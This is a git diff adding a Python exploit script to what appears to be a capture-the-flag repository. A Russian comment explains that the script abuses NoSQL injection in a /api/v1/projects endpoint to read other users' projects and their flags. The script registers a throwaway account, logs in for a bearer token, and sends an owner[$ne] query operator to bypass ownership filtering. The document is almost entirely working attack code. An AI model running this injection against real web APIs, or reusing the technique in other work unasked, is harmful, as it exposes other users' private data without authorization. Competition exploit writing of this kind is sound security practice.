adding validated services? patching forcad_local.py

ctfcup2025-school-final/sploits/aws_sigma/03_api_nosql.py

@@ -0,0 +1,54 @@
+# Эксплойт основан на NoSQL инъекции в эндпоинте /api/v1/projects,
+#
+# Он позволяет получить данные о чужих проектах, включая описание,
+# которое содержит флаги.
+
+import sys
+import uuid
+
+import requests
+
+HOST = sys.argv[1]
+PORT = 3000
+BASE_URL = f"http://{HOST}:{PORT}/api/v1"
+
+
+def make_id(prefix):
+    return f"{prefix}-{uuid.uuid4().hex[:8]}"
+
+
+def main():
+    session = requests.Session()
+
+    username = make_id("user")
+    password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
+
+    print(f"[*] Registering user {username}")
+    response = session.post(
+        f"{BASE_URL}/users",
+        json={"username": username, "password": password},
+    )
+    response.raise_for_status()
+
+    print("[*] Logging in")
+    response = session.post(
+        f"{BASE_URL}/auth/login",
+        data={"username": username, "password": password},
+    )
+    response.raise_for_status()
+
+    login_response = response.json()
+    token = login_response.get("auth_token")
+    if not token:
+        raise RuntimeError("Login response missing auth_token field")
+    headers = {"Authorization": f"Bearer {token}"}
+
+    projects_response = session.get(
+        f"{BASE_URL}/projects?owner[$ne]={'a' * 24}",
+        headers=headers,
+    )
+    print(projects_response.text)
+
+
+if __name__ == "__main__":
+    main()